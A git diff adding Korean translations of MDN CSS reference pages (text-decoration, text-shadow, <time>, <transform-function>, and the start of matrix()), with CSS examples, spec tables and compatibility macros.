+<h3 id="참고">참고</h3>
+
+<p>인라인 콘텐츠를 가운데 정렬하지 않고 자신을 정렬하는 법은 {{cssxref("margin")}}을 <code>auto</code>로 설정하는 것입니다.</p>
+
+<pre class="brush: css notranslate">.something {
+ margin: auto;
+}
+</pre>
+
+<pre class="brush: css notranslate">.something {
+ margin: 0 auto;
+}
+</pre>
+
+<pre class="brush: css notranslate">.something {
+ margin-left: auto;
+ margin-right: auto;
+}
+</pre>
+
+<ul>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Logical Properties', '#text-align', 'text-align')}}</td>
+ <td>{{Spec2('CSS Logical Properties')}}</td>
+ <td>No changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Text', '#alignment', 'text-align')}}</td>
+ <td>{{Spec2('CSS4 Text')}}</td>
+ <td>Added the <code>&lt;string&gt;</code> value.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Text', '#text-align-property', 'text-align')}}</td>
+ <td>{{Spec2('CSS3 Text')}}</td>
+ <td>Added the <code>start</code>, <code>end</code>, and <code>match-parent</code> values. Changed the unnamed initial value to <code>start</code> (which it was).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'text.html#alignment-prop', 'text-align')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#text-align', 'text-align')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.text-align")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("margin","margin: auto")}}, {{Cssxref("margin-left","margin-left: auto")}}, {{Cssxref("vertical-align")}}</li>
+</ul>
diff --git a/files/ko/web/css/text-decoration/index.html b/files/ko/web/css/text-decoration/index.html
new file mode 100644
index 0000000000..579bf26670
--- /dev/null
+++ b/files/ko/web/css/text-decoration/index.html
@@ -0,0 +1,133 @@
+---
+title: text-decoration
+slug: Web/CSS/text-decoration
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text Decoration
+ - Reference
+translation_of: Web/CSS/text-decoration
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>text-decoration</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 글씨의 장식(선) 색을 지정합니다.</span> {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-style")}}, {{cssxref("text-decoration-thickness")}}속성 값을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-decoration.html")}}</div>
+
+
+
+<p>글씨 장식은 모든 하위 텍스트 요소에 적용됩니다. 따라서 자식 요소는 부모가 적용한 장식을 제거할 수 없습니다. 예를 들어 <code>&lt;p&gt;이 문단에 &lt;em&gt;강조 표시&lt;/em&gt;가 있어요.&lt;/p&gt;</code> 마크업에 <code>p { text-decoration: underline; }</code> 스타일을 적용하면 전체 문단에 밑줄이 쳐집니다. <code>em { text-decoration: none; }</code>을 추가하더라도 아무 변화도 일어나지 않습니다. 다만 <code>em { text-decoration: overline; }</code> 스타일은 "강조 표시"가 윗줄과 밑줄 모두 갖게 합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p id="Values"><code>text-decoration</code> 속성은 한 개 이상의 공백으로 구분한 값으로 지정할 수 있습니다. 각각의 값은 본디 속성에서 사용하는 값입니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("text-decoration-line")}}</dt>
+ <dd><code>underline</code>, <code>line-through</code> 등 장식의 종류.</dd>
+ <dt>{{cssxref("text-decoration-color")}}</dt>
+ <dd>장식의 색.</dd>
+ <dt>{{cssxref("text-decoration-style")}}</dt>
+ <dd><code>solid</code>, <code>wavy</code>, <code>dashed</code> 등 장식의 스타일.</dd>
+ <dt>{{cssxref("text-decoration-thickness")}}</dt>
+ <dd>요소를 꾸미는데 사용되는 선의 두께를 설정합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">.under {
+ text-decoration: underline red;
+}
+
+.over {
+ text-decoration: wavy overline lime;
+}
+
+.line {
+ text-decoration: line-through;
+}
+
+.plain {
+ text-decoration: none;
+}
+
+.underover {
+ text-decoration: dashed underline overline;
+}
+
+.thick {
+ text-decoration: solid underline purple 4px;
+}
+
+.blink {
+ text-decoration: blink;
+}
+</pre>
+
+<pre class="brush: html">&lt;p class="under"&gt;밑줄을 가진 글씨입니다.&lt;/p&gt;
+&lt;p class="over"&gt;윗줄을 가진 글씨입니다.&lt;/p&gt;
+&lt;p class="line"&gt;취소선을 가진 글씨입니다.&lt;/p&gt;
+&lt;p&gt;여기 링크는 기본값과 다르게 &lt;a class="plain" href="#"&gt;밑줄이 없습니다&lt;/a&gt;.
+ 사용자는 보통 하이퍼링크를 구분할 때 밑줄 여부로 판단하므로
+ 지우기 전에 조심해야 합니다.&lt;/p&gt;
+&lt;p class="underover"&gt;밑줄과 윗줄 모두 가진 글씨입니다.&lt;/p&gt;
+&lt;p class="thick"&gt;이 글씨는 아주 두꺼운 보라색 밑줄을 표시합니다. (브라우저가 지원하는 경우)&lt;/p&gt;
+&lt;p class="blink"&gt;이 글씨는 브라우저에 따라서 깜빡일 수 있어요.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Examples','auto','320')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Text Decoration')}}</td>
+ <td>{{Spec2('CSS4 Text Decoration')}}</td>
+ <td>Adds {{cssxref("text-decoration-thickness")}}; note that this isn't yet officially part of the shorthand — this is as yet unspecified.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Text Decoration', '#text-decoration-property', 'text-decoration')}}</td>
+ <td>{{Spec2('CSS3 Text Decoration')}}</td>
+ <td>Transformed into a shorthand property. Added support for the value of {{cssxref('text-decoration-style')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'text.html#lining-striking-props', 'text-decoration')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant changes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#text-decoration', 'text-decoration')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.text-decoration")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>The individual text-decoration properties are {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, and {{cssxref("text-decoration-style")}}.</li>
+ <li>The {{cssxref("list-style")}} attribute controls the appearance of items in HTML {{HTMLElement("ol")}} and {{HTMLElement("ul")}} lists.</li>
+</ul>
diff --git a/files/ko/web/css/text-shadow/index.html b/files/ko/web/css/text-shadow/index.html
new file mode 100644
index 0000000000..17c04da65c
--- /dev/null
+++ b/files/ko/web/css/text-shadow/index.html
@@ -0,0 +1,126 @@
+---
+title: text-shadow
+slug: Web/CSS/text-shadow
+tags:
+ - CSS
+ - Reference
+translation_of: Web/CSS/text-shadow
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>text-shadow</strong></code> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 텍스트에 그림자(shadow)를 추가합니다. 텍스트와 그 장식에 적용 할 쉼표로 구분 된 그림자 목록을 허용합니다. 각 그림자는 요소, 흐림 반경 및 색상의 X 및 Y 오프셋 조합으로 설명됩니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/text-shadow.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre><code>/* offset-x | offset-y | blur-radius | color */
+text-shadow: 1px 1px 2px black;
+
+/* color | offset-x | offset-y | blur-radius */
+text-shadow: #fc0 1px 0 10px;
+
+/* offset-x | offset-y | color */
+text-shadow: 5px 5px #558abb;
+
+/* color | offset-x | offset-y */
+text-shadow: white 2px 5px;
+
+/* offset-x | offset-y
+/* Use defaults for color and blur-radius */
+text-shadow: 5px 10px;
+
+/* Global values */
+text-shadow: inherit;
+text-shadow: initial;
+text-shadow: unset;</code></pre>
+
+<p>This property is specified as a comma-separated list of shadows.</p>
+
+<p>Each shadow is specified as two or three <code>&lt;length&gt;</code> values, followed optionally by a <code>&lt;color&gt;</code> value. The first two <code>&lt;length&gt;</code> values are the <code>&lt;offset-x&gt;</code> and <code>&lt;offset-y&gt;</code> values. The third, optional, <code>&lt;length&gt;</code> value is the <code>&lt;blur-radius&gt;</code>. The<code>&lt;color&gt;</code> value is the shadow's color.</p>
+
+<p>When more than one shadow is given, shadows are applied front-to-back, with the first-specified shadow on top.</p>
+
+<p>This property applies to both {{cssxref("::first-line")}} and {{cssxref("::first-letter")}} <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elements</a>.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>선택값(생략가능). 위치값(offset)이전/이후에 설정이 가능하다. 색상(color)값이 설정되지 않으면, 브라우저 기본값(UA-chosen color)이 사용된다. {{ note("만약 다양한 브라우저에서 동일하게 표현하고 싶다면, 특정 색상(color)을 지정할 것.") }}</dd>
+ <dt><code>&lt;offset-x&gt; &lt;offset-y&gt;</code></dt>
+ <dd>Required. These {{cssxref("&lt;length&gt;")}} values specify the shadow's distance from the text. <code>&lt;offset-x&gt;</code> specifies the horizontal distance; a negative value places the shadow to the left of the text. <code>&lt;offset-y&gt;</code> specifies the vertical distance; a negative value places the shadow above the text. If both values are <code>0</code>, the shadow is placed directly behind the text, although it may be partly visible due to the effect of <code>&lt;blur-radius&gt;</code>.</dd>
+ <dt><code>&lt;blur-radius&gt;</code></dt>
+ <dd>Optional. This is a {{cssxref("&lt;length&gt;")}} value. The higher the value, the bigger the blur; the shadow becomes wider and lighter. If not specified, it defaults to <code>0</code>.</dd>
+ <dt>
+ <h3 id="Formal_syntax">Formal syntax</h3>
+
+ <pre>{{csssyntax}}
+</pre>
+
+ <h2 id="Examples">Examples</h2>
+
+ <h3 id="Simple_shadow">Simple shadow</h3>
+
+ <pre><code>.red-text-shadow {
+ text-shadow: red 0 -2px;
+}</code></pre>
+
+ <pre><code>&lt;p class="red-text-shadow"&gt;Sed ut perspiciatis unde omnis iste
+ natus error sit voluptatem accusantium doloremque laudantium,
+ totam rem aperiam, eaque ipsa quae ab illo inventore.&lt;/p&gt;</code></pre>
+
+ <p>{{EmbedLiveSample('Simple_shadow', '660px', '90px')}}</p>
+
+ <h3 id="Multiple_shadows">Multiple shadows</h3>
+
+ <pre><code>.white-text-with-blue-shadow {
+ text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue;
+ color: white;
+ font: 1.5em Georgia, serif;
+}</code></pre>
+
+ <pre><code>&lt;p class="white-text-with-blue-shadow"&gt;Sed ut perspiciatis unde omnis iste
+ natus error sit voluptatem accusantium doloremque laudantium,
+ totam rem aperiam, eaque ipsa quae ab illo inventore.&lt;/p&gt;</code></pre>
+
+ <p>{{EmbedLiveSample('Multiple_shadows', '660px', '170px')}}</p>
+
+ <h2 id="Specifications">Specifications</h2>
+
+ <table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Specifies <code>text-shadow</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Text Decoration', '#text-shadow-property', 'text-shadow')}}</td>
+ <td>{{Spec2('CSS3 Text Decoration')}}</td>
+ <td>The CSS property <code>text-shadow</code> was <a href="http://www.w3.org/TR/2008/REC-CSS2-20080411/text.html#text-shadow-props">improperly defined in CSS2</a> and dropped in CSS2 (Level 1). The CSS Text Module Level 3 spec refined the syntax. Later it was moved to <a href="https://www.w3.org/TR/css-text-decor-3/">CSS Text Decoration Module Level 3</a>.</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <p id="Syntax">{{cssinfo}}</p>
+
+ <h2 id="Browser_compatibility">Browser compatibility</h2>
+
+ <p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+ <p>{{Compat("css.properties.text-shadow")}}</p>
+
+ <h3 id="Quantum_CSS_notes">Quantum CSS notes</h3>
+ Gecko has a bug whereby {{cssxref("transition")}}s will not work when transitioning from a <code>text-shadow</code> with a color specified to a <code>text-shadow</code> without a color specified ({{bug(726550)}}). This has been fixed in Firefox's new parallel CSS engine (also known as <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> or <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, planned for release in Firefox 57).
+
+ <h2 id="See_also">See also</h2>
+ <a href="https://cssgenerator.org/text-shadow-css-generator.html">Text Shadow CSS Generator</a> - An interactive text shadow CSS generator. {{cssxref("box-shadow")}} The {{cssxref("&lt;color&gt;")}} data type (for specifying the shadow color) <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></dt>
+</dl>
diff --git a/files/ko/web/css/time/index.html b/files/ko/web/css/time/index.html
new file mode 100644
index 0000000000..2a95bb99ea
--- /dev/null
+++ b/files/ko/web/css/time/index.html
@@ -0,0 +1,88 @@
+---
+title: <time>
+slug: Web/CSS/time
+tags:
+ - CSS
+ - CSS Date Type
+ - Reference
+ - Web
+translation_of: Web/CSS/time
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;time&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 시간 값을 초나 밀리초 단위로 나타냅니다. {{cssxref("animation")}}, {{cssxref("transition")}}과 관련 속성에서 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;time&gt;</code> 자료형은 ​​​​​​{{cssxref("&lt;number&gt;")}}와, 그 뒤에 붙는 아래 단위 중 하나로 이루어져 있습니다. 선택 사항으로 하나의 <code>+</code> 또는 <code>-</code> 기호를 맨 앞에 붙일 수 있습니다. 다른 모든 수치와 마찬가지로 단위와 숫자 사이에는 공백이 없습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>0</code>은 단위와 상관 없이 언제나 동일하지만 시간 단위를 생략할 수 없습니다. 즉 <code>0</code>은 유효하지 않은 구문이며 <code>0s</code>나 <code>0ms</code>를 나타내지 않습니다.</p>
+</div>
+
+<h3 id="단위">단위</h3>
+
+<dl>
+ <dt><strong><code id="s">s</code></strong></dt>
+ <dd>시간을 초 단위로 나타냅니다. 예시: <code>0s</code>, <code>1.5s</code>, <code>-60s</code>.</dd>
+ <dt><strong><code id="ms">ms</code></strong></dt>
+ <dd>시간을 밀리초 단위로 나타냅니다. 예시: <code>0ms</code>, <code>150.25ms</code>, <code>-60000ms</code>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> <code>s</code>와 <code>ms</code>의 변환은 <code>1s</code> = <code>1000ms</code>를 따릅니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_시간">유효한 시간</h3>
+
+<pre>12s 양의 정수
+-456ms 음의 정수
+4.3ms 정수 아닌 실수
+14mS 단위는 대소문자 구분을 하지 않지만, 대문자는 추천하지 않음
++0s + 뒤의 0과 단위
+-0ms - 뒤의 0과 단위
+</pre>
+
+<h3 id="유효하지_않은_시간">유효하지 않은 시간</h3>
+
+<pre class="example-bad">0 &lt;length&gt;는 단위 없는 0을 받을 수 있지만, &lt;time&gt;은 불가능
+12.0 단위가 없으므로 &lt;number&gt;지만 &lt;time&gt;이 아님
+7 ms 수와 단위 사이에 공백은 불허
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Values','#time','&lt;time&gt;')}}</td>
+ <td>{{Spec2('CSS4 Values')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Values','#time','&lt;time&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>Normative definition of <code>s</code> and <code>ms</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1','aural.html#times','&lt;time&gt;')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Informal definition of <code>s</code> and <code>ms</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.time")}}</p>
diff --git a/files/ko/web/css/transform-function/index.html b/files/ko/web/css/transform-function/index.html
new file mode 100644
index 0000000000..3c17fbba85
--- /dev/null
+++ b/files/ko/web/css/transform-function/index.html
@@ -0,0 +1,158 @@
+---
+title: <transform-function>
+slug: Web/CSS/transform-function
+tags:
+ - CSS
+ - CSS Data Type
+ - CSS Transforms
+ - Layout
+ - Reference
+translation_of: Web/CSS/transform-function
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>&lt;transform-function&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 요소의 외형에 영향을 주는 변형을 나타냅니다. 변형 함수는 2D 또는 3D 공간 내에서 요소를 회전하고, 크기를 바꾸고, 왜곡하고, 이동할 수 있습니다. {{cssxref("transform")}} 속성에서 사용합니다.</p>
+
+<h2 id="변형을_수학적으로_표현하기">변형을 수학적으로 표현하기</h2>
+
+<p>HTML요소의 크기와 형태, 그리고 요소에 가해진 변형을 표현할 땐 다양한 좌표계를 사용할 수 있습니다. 가장 흔히 사용하는건 <a href="https://ko.wikipedia.org/wiki/%EC%A7%81%EA%B5%90_%EC%A2%8C%ED%91%9C%EA%B3%84">직교좌표계</a>이나, 가끔 <a href="https://ko.wikipedia.org/wiki/%EB%8F%99%EC%B0%A8%EC%A2%8C%ED%91%9C">동차좌표계</a>도 쓰입니다.</p>
+
+<h3 id="직교좌표"><a href="/@api/deki/files/5796/=coord_in_R2.png"><img src="/files/3438/coord_in_R2.png" style="float: right; width: 171px;"></a>직교좌표</h3>
+
+<p>직교좌표계 평면 위의 점은 X 좌표(가로 좌표)와 Y 좌표(세로 좌표)를 사용해 표현하며, 벡터 표현 <code>(x, y)</code>를 사용해 나타냅니다.</p>
+
+<p>CSS (및 다른 대부분의 컴퓨터 그래픽)에서, 원점 <code>(0, 0)</code>은 요소의 좌상단 꼭짓점을 가리킵니다. 양의 좌표는 원점의 오른쪽과 아래로 진행하고, 음의 좌표는 왼쪽과 위로 진행합니다. 따라서 오른쪽으로 2단위, 아래쪽으로 5단위에 위치한 점은 <code>(2, 5)</code>이고 왼쪽으로 3단위, 위쪽으로 12단위 나아간 점은 <code>(-3, -12)</code>입니다.</p>
+
+<h3 id="변형_함수">변형 함수</h3>
+
+<p>Transformation functions alter the appearance of an element by manipulating the values of its coordinates. A linear transformation function is described using a 2×2 matrix, like this:</p>
+
+<p style="text-align: center;"><math> <mfenced> <mtable> <mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd></mtr> <mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd></mtr> </mtable> </mfenced> </math></p>
+
+<p>The function is applied to an element by using matrix multiplication. Thus, each coordinate changes based on the values in the matrix:</p>
+
+<p style="text-align: center;"><math> <mfenced> <mtable> <mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd></mtr> <mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd></mtr> </mtable> </mfenced> <mfenced> <mtable> <mtr><mtd><mi>x</mi></mtd></mtr><mtr><mtd><mi>y</mi></mtd></mtr> </mtable> </mfenced> <mo>=</mo> <mfenced> <mtable> <mtr> <mtd><mi>a</mi><mi>x</mi><mo>+</mo><mi>c</mi><mi>y</mi></mtd> </mtr> <mtr> <mtd><mi>b</mi><mi>x</mi><mo>+</mo><mi>d</mi><mi>y</mi></mtd> </mtr> </mtable> </mfenced> </math></p>
+
+<p>It is even possible to apply several transformations in a row:</p>
+
+<p style="text-align: center;"><math> <mfenced> <mtable> <mtr> <mtd><msub><mi>a</mi><mn>1</mn></msub></mtd> <mtd><msub><mi>c</mi><mn>1</mn></msub></mtd> </mtr> <mtr> <mtd><msub><mi>b</mi><mn>1</mn></msub></mtd> <mtd><msub><mi>d</mi><mn>1</mn></msub></mtd> </mtr> </mtable> </mfenced> <mfenced> <mtable> <mtr> <mtd><msub><mi>a</mi><mn>2</mn></msub></mtd> <mtd><msub><mi>c</mi><mn>2</mn></msub></mtd> </mtr> <mtr> <mtd><msub><mi>b</mi><mn>2</mn></msub></mtd> <mtd><msub><mi>d</mi><mn>2</mn></msub></mtd> </mtr> </mtable> </mfenced> <mo>=</mo> <mfenced> <mtable> <mtr> <mtd> <msub><mi>a</mi><mn>1</mn></msub> <msub><mi>a</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>c</mi><mn>1</mn></msub> <msub><mi>b</mi><mn>2</mn></msub> </mtd> <mtd> <msub><mi>a</mi><mn>1</mn></msub> <msub><mi>c</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>c</mi><mn>1</mn></msub> <msub><mi>d</mi><mn>2</mn></msub> </mtd> </mtr> <mtr> <mtd> <msub><mi>b</mi><mn>1</mn></msub> <msub><mi>a</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>d</mi><mn>1</mn></msub> <msub><mi>b</mi><mn>2</mn></msub> </mtd> <mtd> <msub><mi>b</mi><mn>1</mn></msub> <msub><mi>c</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>d</mi><mn>1</mn></msub> <msub><mi>d</mi><mn>2</mn></msub> </mtd> </mtr> </mtable> </mfenced> </math></p>
+
+<p>With this notation, it is possible to describe, and therefore compose, most common transformations: rotations, scaling, or skewing. (In fact, all transformations that are linear functions can be described.) Composite transformations are effectively applied in order from right to left.</p>
+
+<p>However, one major transformation is not linear, and therefore must be special-cased when using this notation: translation. The translation vector <code>(tx, ty)</code> must be expressed separately, as two additional parameters.</p>
+
+<div class="note">
+<p><strong>참고:</strong> Though trickier than Cartesian coordinates, <a class="external" href="https://en.wikipedia.org/wiki/Homogeneous_coordinates">homogeneous coordinates</a> in <a class="external" href="https://en.wikipedia.org/wiki/Projective_geometry">projective geometry</a> lead to 3×3 transformation matrices, and can simply express translations as linear functions.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p>The <code>&lt;transform-function&gt;</code> data type is specified using one of the transformation functions listed below. Each function applies a geometric operation in either 2D or 3D.</p>
+
+<h3 id="행렬_변형">행렬 변형</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/matrix">matrix()</a></code></dt>
+ <dd>Describes a homogeneous 2D transformation matrix.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/matrix3d">matrix3d()</a></code></dt>
+ <dd>Describes a 3D transformation as a 4×4 homogeneous matrix.</dd>
+</dl>
+
+<h3 id="원근">원근</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/perspective">perspective()</a></code></dt>
+ <dd>Sets the distance between the user and the z=0 plane.</dd>
+</dl>
+
+<h3 id="회전">회전</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotate">rotate()</a></code></dt>
+ <dd>Rotates an element around a fixed point on the 2D plane.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotate3d">rotate3d()</a></code></dt>
+ <dd>Rotates an element around a fixed axis in 3D space.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotateX">rotateX()</a></code></dt>
+ <dd>Rotates an element around the horizontal axis.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotateY">rotateY()</a></code></dt>
+ <dd>Rotates an element around the vertical axis.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotateZ">rotateZ()</a></code></dt>
+ <dd>Rotates an element around the z-axis.</dd>
+</dl>
+
+<h3 id="크기_조절">크기 조절</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scale">scale()</a></code></dt>
+ <dd>Scales an element up or down on the 2D plane.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scale3d">scale3d()</a></code></dt>
+ <dd>Scales an element up or down in 3D space.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scaleX">scaleX()</a></code></dt>
+ <dd>Scales an element up or down horizontally.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scaleY">scaleY()</a></code></dt>
+ <dd>Scales an element up or down vertically.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scaleZ">scaleZ()</a></code></dt>
+ <dd>Scales an element up or down along the z-axis.</dd>
+</dl>
+
+<h3 id="기울이기_왜곡">기울이기 (왜곡)</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/skew">skew()</a></code></dt>
+ <dd>Skews an element on the 2D plane.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/skewX">skewX()</a></code></dt>
+ <dd>Skews an element in the horizontal direction.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/skewY">skewY()</a></code></dt>
+ <dd>Skews an element in the vertical direction.</dd>
+</dl>
+
+<h3 id="이동">이동</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translate">translate()</a></code></dt>
+ <dd>Translates an element on the 2D plane.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translate3d">translate3d()</a></code></dt>
+ <dd>Translates an element in 3D space.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translateX">translateX()</a></code></dt>
+ <dd>Translates an element horizontally.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translateY">translateY()</a></code></dt>
+ <dd>Translates an element vertically.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translateZ">translateZ()</a></code></dt>
+ <dd>Translates an element along the z-axis.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Transforms 2', '#transform-functions', '&lt;transform-function&gt;')}}</td>
+ <td>{{Spec2('CSS Transforms 2')}}</td>
+ <td>Added 3D transform functions.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transforms', '#transform-functions', '&lt;transform-function&gt;')}}</td>
+ <td>{{Spec2('CSS3 Transforms')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.transform-function")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS {{cssxref("transform")}} 속성</li>
+</ul>
diff --git a/files/ko/web/css/transform-function/matrix()/index.html b/files/ko/web/css/transform-function/matrix()/index.html
new file mode 100644
index 0000000000..cf9940c92a
--- /dev/null
+++ b/files/ko/web/css/transform-function/matrix()/index.html
@@ -0,0 +1,89 @@
+---
+title: matrix()
+slug: Web/CSS/transform-function/matrix()
+translation_of: Web/CSS/transform-function/matrix()
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>matrix()</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 함수는 2D 변형 동차 행렬을 선언합니다. 결과는 {{cssxref("&lt;transform-function&gt;")}} 데이터 타입입니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> <code>matrix(a, b, c, d, tx, ty)</code> 는 <code><a href="/ko/docs/Web/CSS/transform-function/matrix3d">matrix3d</a>(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code> 를 짧게 쓴 것입니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p><code>matrix()</code> 함수는 6개의 값을 지정합니다. 상수 값은 묵시적이며, 매개변수(parameter)로 전달하지 않습니다. 다른 매개 변수는 column-major 순서로 설명됩니다.</p>
+
